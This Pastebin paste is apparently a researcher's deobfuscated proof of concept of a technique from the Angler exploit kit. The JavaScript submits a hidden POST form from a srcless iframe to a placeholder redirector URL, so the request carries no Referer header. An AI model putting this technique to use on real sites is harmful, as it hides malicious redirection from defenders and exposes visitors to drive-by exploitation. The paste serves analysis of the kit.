Advertisement
ydklijnsma

Angler EK deobfuscated referer-less POST proof of concept

May 7th, 2015
4,853
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function setupIframeWithCallback() {
  2.     var iframe_obj = document.createElement('iframe');
  3.     iframe_obj.id = 'iframe_without_src';
  4.     iframe_obj.style.width = '100%';
  5.     iframe_obj.style.border = 0;
  6.     iframe_obj.style.height = '100px';
  7.     iframe_obj.onload = function() {
  8.         createAndSubmitForm();
  9.     };
  10.  
  11.     var div_obj = document.createElement('div');
  12.     div_obj.appendChild(iframe_obj);
  13.     (document.body || document.getElementsByTagName('body')[0]).appendChild(div_obj);
  14. };
  15.  
  16. function createHiddenInputObj(parent_obj) {
  17.     var input_obj = document.createElement('input');
  18.     input_obj.type = 'hidden';
  19.     input_obj.name = '12345679'; // Normally a random number
  20.     input_obj.value = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; // Normally some random text
  21.     parent_obj.appendChild(input_obj);
  22. };
  23.  
  24. function createAndSubmitForm() {
  25.     var form_obj = document.createElement('form');
  26.     form_obj.action = "<<< REDIRECTOR URL >>>"; // Redirector URL
  27.     form_obj.target = '_self';
  28.     form_obj.method = 'POST';
  29.  
  30.     var iframe_obj = document.getElementById('iframe_without_src');
  31.     iframe_obj.onload = null;
  32.     createHiddenInputObj(form_obj);
  33.    
  34.     var iframe_obj_frame_content = iframe_obj.contentDocument || iframe_obj.contentWindow || iframe_obj;
  35.     var iframe_obj_frame_content_body = iframe_obj_frame_content;
  36.     if(iframe_obj_frame_content.document) {
  37.         iframe_obj_frame_content_body = iframe_obj_frame_content.document.body || iframe_obj_frame_content.document.getElementsByTagName('body')[0];
  38.     } else {
  39.         iframe_obj_frame_content_body = iframe_obj_frame_content.body || iframe_obj_frame_content.getElementsByTagName('body')[0];
  40.     }
  41.  
  42.     iframe_obj_frame_content_body.appendChild(form_obj);
  43.     form_obj.submit();
  44. };
  45. setupIframeWithCallback();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement